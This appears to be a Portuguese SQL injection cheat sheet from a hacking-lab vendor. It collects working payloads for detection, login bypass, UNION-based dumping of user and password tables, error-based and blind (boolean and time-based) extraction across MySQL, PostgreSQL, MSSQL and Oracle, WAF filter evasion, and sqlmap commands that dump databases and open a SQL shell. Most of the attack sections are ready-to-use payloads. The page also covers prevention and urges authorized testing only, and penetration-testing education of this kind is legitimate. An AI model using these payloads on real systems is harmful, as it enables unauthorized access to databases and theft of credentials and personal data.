Folha de Referência de Injeção SQL 2026: Payloads e Bypasses

Web Security
13 min de leitura
Folha de Referência de Injeção SQL 2026: Payloads e Bypasses
Nesta página
  1. Navegação rápida
  2. O que é uma folha de referência de injeção SQL?
  3. Payloads de detecção: é injetável?
  4. Payloads de bypass de autenticação
  5. Extração de dados por UNION
    1. Passo 1: contar as colunas
    2. Passo 2: achar quais colunas aparecem
    3. Passo 3: extrair os dados reais
  6. Injeção baseada em erro
  7. Payloads de injeção SQL cega
    1. Baseada em booleano
    2. Baseada em tempo
  8. Referência de sintaxe de bancos de dados
  9. Enumeração de esquema
  10. Bypass de WAF e de filtros
  11. Referência rápida do sqlmap
  12. Folha de prevenção
  13. Pratique suas habilidades de injeção SQL
    1. Labs recomendados
  14. Perguntas frequentes
  15. Considerações legais e éticas
  16. Seus próximos passos

Todo pentester acaba com um estoque mental de payloads de injeção SQL: a aspa que quebra um login, o UNION SELECT que despeja uma tabela de usuários, o SLEEP() que prova uma vulnerabilidade cega. Esta folha de referência de injeção SQL reúne os que realmente funcionam em 2026, organizados por tipo de ataque e por banco de dados, para você parar de adivinhar a sintaxe no meio de uma missão.

A injeção SQL é a entrada clássica da categoria de injeção do OWASP Top 10, e ainda está em toda parte. Quer testar esses payloads ao vivo enquanto lê? Abra o lab Query Quake e injete contra um banco de dados real no navegador, sem nenhuma instalação.

Resumo: uma folha de referência de injeção SQL é uma consulta rápida de payloads para detecção, bypass de autenticação, extração de dados por UNION e exploração cega (booleana e temporal). Os três mais usados são ' OR '1'='1 para testar formulários de login, ' UNION SELECT NULL,NULL-- para identificar a quantidade de colunas, e ' AND SLEEP(5)-- para confirmar SQLi cega pelo atraso na resposta. A sintaxe muda entre MySQL, PostgreSQL, Microsoft SQL Server, Oracle e SQLite, então combine o payload com o backend.

O que é uma folha de referência de injeção SQL?

Uma folha de referência de injeção SQL é uma consulta compacta de strings e consultas de injeção que os testadores usam para encontrar e explorar SQLi sem memorizar a sintaxe de cada motor de banco de dados. Ela agrupa os payloads por objetivo: detectar a falha, contornar um login, ler dados com UNION, ou extraí-los às cegas, um caractere por vez.

A injeção ocupa a posição A03 no OWASP Top 10. Na análise da OWASP de 2021, 94% das aplicações testadas apresentaram alguma forma de injeção, com 274.000 ocorrências no conjunto de dados. A injeção SQL corresponde ao CWE-89 e continua sendo a variante mais comum, e é exatamente por isso que uma boa referência compensa em quase toda missão web.

Esta folha foi feita para testes autorizados: escopos de bug bounty, desafios de CTF e seus próprios alvos de lab. Se você está começando pelo ataque em si, comece pelo nosso tutorial de injeção SQL para o como e o porquê, e depois volte aqui para os payloads.

💻
Pratique agora: Query Quake - um dos labs web mais populares da HackerDNA, onde você executa injeção por UNION e por erro contra um banco de dados ao vivo, no navegador.

Payloads de detecção: é injetável?

Antes de qualquer sofisticação, confirme que a entrada chega a uma consulta. O objetivo é um payload que mude a resposta de forma previsível: um erro, um conjunto de resultados diferente, ou uma variação de tempo. Teste uma entrada por vez e observe o que quebra.

Payload O que testa
' A aspa simples quebra um contexto de string (procure um erro SQL)
" Aspa dupla para backends que a usam
' OR '1'='1 Condição sempre verdadeira que muda o conjunto de resultados
' AND '1'='2 Condição sempre falsa (o resultado deve sumir)
1' ORDER BY 1-- Incremente o número para contar colunas
' OR SLEEP(5)-- - Teste de tempo quando nada aparece na tela
%27 Aspa codificada em URL para parâmetros GET

Dica de profissional: o sufixo -- - (traço traço espaço traço) comenta o resto da consulta no MySQL e é mais seguro que um -- sozinho, que exige um caractere de espaço em seguida. Nas URLs, lembre que o espaço vira + ou %20.

Em aplicações reais, um parâmetro numérico que retorna linhas diferentes de forma silenciosa para ?id=1 AND 1=1 versus ?id=1 AND 1=2 é um sinal mais forte que um erro cru, porque muitas aplicações escondem erros de banco de dados em produção.

Payloads de bypass de autenticação

O bypass de login clássico funciona quando a aplicação monta uma consulta como SELECT * FROM users WHERE user='INPUT' AND pass='INPUT' sem parametrizá-la. Você comenta a verificação de senha ou força a cláusula WHERE a ser verdadeira. Coloque estes payloads no campo de nome de usuário.

Payload Efeito
' OR '1'='1'-- - Comenta a comparação de senha
admin'-- - Entrar como admin, ignorando a senha
admin'# Mesma ideia, comentário com cerquilha do MySQL
' OR 1=1 LIMIT 1-- - Forçar uma linha quando a aplicação espera um único usuário
') OR ('1'='1 Fechar primeiro uma condição entre parênteses

Se o primeiro payload falhar, a estrutura da consulta é provavelmente diferente (parênteses extras, um estilo de aspa diferente, ou uma busca de senha com hash). Varie os caracteres de fechamento antes de desistir. O bypass de autenticação é uma das vitórias mais rápidas para praticar no curso de ataques web, que explica por que cada bypass dispara.

Extração de dados por UNION

Quando os resultados da consulta aparecem na página, UNION SELECT é o jeito mais rápido de ler dados arbitrários. Ele anexa o seu próprio conjunto de resultados ao original. Duas regras o fazem funcionar: o seu SELECT injetado precisa retornar a mesma quantidade de colunas, e os tipos de dados das colunas precisam ser compatíveis.

Passo 1: contar as colunas

# Incremente até a página dar erro ou o layout quebrar
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

# Ou sonde com NULLs até não haver erro
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

Passo 2: achar quais colunas aparecem

# Troque os NULLs por marcadores para ver quais refletem na tela
' UNION SELECT 'a','b','c'-- -
' UNION SELECT 1,2,3-- -

Passo 3: extrair os dados reais

# MySQL: banco de dados atual, versão e usuário
' UNION SELECT database(),version(),user()-- -

# Concatenar vários valores em uma única coluna visível
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users-- -

# MySQL: despejar todos os usuários e senhas em uma linha
' UNION SELECT NULL,GROUP_CONCAT(username,0x3a,password),NULL FROM users-- -

Dica de profissional: 0x3a é um dois-pontos em hexadecimal. Usar hexa evita as aspas por completo, o que contorna alguns filtros ingênuos que removem ou escapam aspas. GROUP_CONCAT (MySQL) e STRING_AGG (PostgreSQL, MSSQL 2017+) juntam várias linhas em um único campo para extrair tudo em uma requisição.

Injeção baseada em erro

Se a aplicação vaza erros do banco de dados, você pode fazer o motor imprimir dados dentro da mensagem de erro. Isso é mais rápido que a extração cega porque cada requisição retorna um valor completo. Combine a função com o backend.

Banco de dados Payload baseado em erro
MySQL ' AND extractvalue(1,concat(0x7e,version()))-- -
MySQL (updatexml) ' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -
PostgreSQL ' AND 1=CAST(version() AS int)-- -
MSSQL ' AND 1=CONVERT(int,@@version)-- -
Oracle ' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))-- -

O 0x7e é um marcador til que deixa o valor injetado fácil de achar dentro do texto do erro. Se você vir a string de versão entre tis, a extração baseada em erro está ativa e você pode trocar version() por qualquer subconsulta.

Payloads de injeção SQL cega

Nenhuma saída e nenhum erro significa injeção cega. Você faz ao banco de dados perguntas de verdadeiro ou falso e lê a resposta na reação: um payload booleano muda o conteúdo da página, um payload temporal muda quanto tempo a resposta leva. É mais lento, então automatize assim que confirmar o padrão. Para a metodologia completa, veja nosso guia de injeção SQL cega.

Baseada em booleano

# Compare as respostas destes dois - conteúdo diferente significa injetável
' AND 1=1-- -
' AND 1=2-- -

# Extrair um caractere por vez (primeiro caractere do nome do banco)
' AND SUBSTRING(database(),1,1)='a'-- -

# Confirmar que um hash de senha começa com um caractere conhecido
' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='5'-- -

Baseada em tempo

Banco de dados Payload de atraso
MySQL ' AND SLEEP(5)-- -
PostgreSQL ' AND pg_sleep(5)-- -
MSSQL '; WAITFOR DELAY '0:0:5'-- -
Oracle ' AND 1=dbms_pipe.receive_message('a',5)-- -

Um atraso condicional transforma o tempo em um canal booleano: ' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- - só dorme quando o palpite está certo. Na prática, rode três requisições por caractere e use o tempo mediano para filtrar a instabilidade da rede.

Referência de sintaxe de bancos de dados

Metade da injeção SQL é saber com qual dialeto você está falando. Identifique o backend primeiro, e então use a sintaxe correspondente. Esta tabela é a parte da folha que você vai deixar nos favoritos.

Tarefa MySQL PostgreSQL MSSQL Oracle
Versão version() version() @@version banner FROM v$version
Usuário atual user() current_user SYSTEM_USER USER FROM dual
Concatenação CONCAT(a,b) a||b a+b a||b
Comentário -- - ou # -- - -- - -- -
Substring SUBSTRING() SUBSTRING() SUBSTRING() SUBSTR()
SELECT sem FROM (opcional) (opcional) (opcional) exige FROM dual

Identifique rápido: tente uma sonda de concatenação. Se ' UNION SELECT 'a'||'b' retornar ab, você está no PostgreSQL ou Oracle. Se só CONCAT('a','b') funcionar, é MySQL. Se 'a'+'b' funcionar, é MSSQL.

Enumeração de esquema

Assim que puder ler dados, mapeie o banco. As views information_schema existem no MySQL, PostgreSQL e MSSQL. O Oracle usa as suas próprias views do dicionário de dados.

# Listar todas as tabelas (MySQL / PostgreSQL / MSSQL)
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- -

# Listar as colunas de uma tabela alvo
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -

# Oracle: listar tabelas e colunas
' UNION SELECT NULL,table_name,NULL FROM all_tables-- -
' UNION SELECT NULL,column_name,NULL FROM all_tab_columns WHERE table_name='USERS'-- -

Dali é um passo curto até as tabelas interessantes: usuários, credenciais, tokens de sessão, chaves de API. Filtre information_schema.columns por nomes como pass, token ou secret para achar rápido os dados de alto valor.

Bypass de WAF e de filtros

Firewalls de aplicação web e filtros de entrada bloqueiam payloads óbvios. Durante testes autorizados, muitas vezes é preciso reescrever um payload para que ele signifique o mesmo para o banco de dados sem casar com a assinatura do filtro. São as reescritas padrão, não evasão de detecção por si só.

Técnica Exemplo
Variação de caixa UnIoN SeLeCt
Comentários embutidos UN/**/ION SE/**/LECT
Sem espaços 'UNION(SELECT(username)FROM(users))-- -
Trocas de espaço Troque o espaço por %09, %0a ou +
Duplo encode de URL %2527 decodifica duas vezes para '
Aninhamento de palavra-chave UNIOUNIONN SELESELECTCT sobrevive a uma única remoção

Um filtro que remove a palavra UNION exatamente uma vez transforma UNIOUNIONN de volta em UNION: a remoção remonta a palavra-chave. Pratique essas reescritas contra um filtro real no lab de bypass de SQLi por regex, feito justamente para derrotar um filtro de entrada ingênuo.

Referência rápida do sqlmap

Payloads manuais provam a vulnerabilidade. Para extração em escala, o sqlmap automatiza a mesma lógica. Use-o apenas dentro do seu escopo autorizado, e comece leve antes de subir as opções de risco e nível.

# Testar um único parâmetro de URL
sqlmap -u "https://target.example/item?id=1" --batch

# Usar uma requisição do Burp salva (cabeçalhos, cookies, corpo POST)
sqlmap -r request.txt --batch

# Enumerar bancos, depois tabelas, depois despejar
sqlmap -u "https://target.example/item?id=1" --dbs
sqlmap -u "https://target.example/item?id=1" -D appdb --tables
sqlmap -u "https://target.example/item?id=1" -D appdb -T users --dump

# Insistir quando um teste simples não acha nada
sqlmap -u "https://target.example/item?id=1" --level=5 --risk=3

# Obter um shell SQL interativo
sqlmap -u "https://target.example/item?id=1" --sql-shell

Dica de profissional: passe ao sqlmap um arquivo de requisição bruta com -r em vez de redigitar a URL. Ele pega automaticamente cookies, cabeçalhos de autenticação e corpos POST, o que importa para qualquer coisa atrás de um login. O curso interativo de folha do sqlmap da HackerDNA treina essas opções com verificações de conhecimento.

Folha de prevenção

Conhecer os payloads é metade do trabalho. A outra metade é saber por que eles falham contra um bom código, para reportar correções que se sustentam. A defesa mais eficaz de longe são as consultas parametrizadas, também chamadas de instruções preparadas. Elas enviam o SQL e os dados por canais separados, de modo que a entrada do usuário nunca é interpretada como código.

Defesa Por que funciona
Consultas parametrizadas Dados e código viajam separados: as aspas nunca escapam
Procedimentos armazenados (parametrizados) Mesma separação quando evitam SQL dinâmico interno
Validação por lista de permissão Rejeita caracteres inesperados, por exemplo em ordem de classificação
Contas de BD com privilégio mínimo Limita o dano quando a injeção passa mesmo assim
ORM com parâmetros vinculados Seguro por padrão, mas cuidado com as saídas de consulta bruta

Um WAF é um redutor de velocidade útil, não uma correção. Cada bypass da seção acima existe justamente porque equipes trataram o firewall como a solução. Para o detalhe do lado do desenvolvedor, leia nosso guia de prevenção de injeção SQL, que cobre instruções preparadas em cada linguagem importante.

Pratique suas habilidades de injeção SQL

Copiar payloads é um começo. Encaixá-los contra um alvo que reage é onde a habilidade realmente se forma. Uma folha diz o que digitar; um lab ensina a ler a resposta e a ajustar quando a primeira tentativa não faz nada.

Labs recomendados

  • Query Quake Injeção por UNION e por erro contra um banco ao vivo, no navegador
  • Regex Bypass SQLi Reescrever payloads para passar por um filtro de entrada ingênuo
  • SQL Injection Test Um ambiente limpo para confirmar cada payload desta folha

Pronto para injetar? Comece pelo plano gratuito da HackerDNA - sem cartão de crédito - e rode esses payloads contra alvos reais e legais no navegador.

Perguntas frequentes

Qual é o payload de injeção SQL mais comum?

A aspa simples (') é o payload de teste mais comum, porque sai de uma string em uma consulta não parametrizada e costuma disparar um erro visível. Para formulários de login, ' OR '1'='1'-- - é o bypass de autenticação clássico. Os dois ficam no topo de qualquer folha de referência de injeção SQL.

Como sei qual banco de dados estou atacando?

Identifique com uma sonda de concatenação. 'a'||'b' retornando ab aponta para PostgreSQL ou Oracle, CONCAT('a','b') significa MySQL, e 'a'+'b' significa Microsoft SQL Server. As funções de versão (version(), @@version) confirmam quando você consegue ler a saída.

Usar uma folha de referência de injeção SQL é legal?

Os payloads são legais de aprender e de usar contra sistemas que você possui ou está autorizado a testar: programas de bug bounty dentro do escopo, desafios de CTF e labs de prática. Rodá-los contra qualquer outro sistema é crime na maioria dos países. Mantenha os testes em alvos autorizados.

O sqlmap substitui a injeção SQL manual?

Não. O sqlmap é excelente em extração quando uma vulnerabilidade já existe, mas perde pontos de injeção específicos do contexto e estruturas de consulta incomuns que um humano percebe. Confirme manualmente com os payloads aqui, e depois entregue o parâmetro confirmado ao sqlmap para o trabalho pesado.

O que para a injeção SQL de vez?

As consultas parametrizadas (instruções preparadas). Elas separam o código SQL dos dados do usuário, de modo que a entrada nunca pode ser interpretada como comandos. Validação de entrada, contas de banco com privilégio mínimo e um ORM com parâmetros vinculados adicionam profundidade, mas a parametrização é a correção que de fato fecha a brecha.

Considerações legais e éticas

Lembrete essencial: cada payload desta folha de referência de injeção SQL é apenas para testes autorizados. Use-os contra sistemas que você possui, em programas de bug bounty onde o alvo está no escopo, ou em labs de prática dedicados. Testar um sistema sem autorização por escrito explícita é ilegal na maioria das jurisdições, independentemente da intenção.

A injeção SQL pode ler, modificar e destruir dados. Em uma missão real, evite payloads destrutivos (nada de DROP, nada de UPDATE em produção), extraia apenas o que prova o impacto, e documente tudo para o seu relatório. O objetivo é demonstrar risco, não causar dano.

Seus próximos passos

Esta folha de referência de injeção SQL te dá os payloads para detecção, bypass de autenticação, extração por UNION, vazamentos baseados em erro, exploração cega, bypass de filtros e prevenção, além da sintaxe específica de cada banco para fazê-los funcionar. Salve nos favoritos, e combine cada payload com o backend que você identificar.

O jeito mais rápido de fixar tudo isso é executar. Abra o lab Query Quake, injete contra um banco ao vivo, e veja como a resposta muda a cada payload. A HackerDNA é baseada no navegador e tem um plano gratuito, então você pode começar a hackear alvos legais nos próximos cinco minutos.

HackerDNA Team

Equipe HackerDNA

Escrito pela equipe HackerDNA - profissionais de cibersegurança que criam labs práticos de hacking e conteúdo educativo para ajudar você a desenvolver habilidades reais em segurança.

Conhecer a Equipe

Pronto para colocar isso em prática?

Pare de ler, comece a hackear. Ganhe experiência prática com mais de 170 labs de cibersegurança reais.

Comece a Hackear Grátis
18.000+ Hackers 100+ Labs & Cursos Grátis
Comece Grátis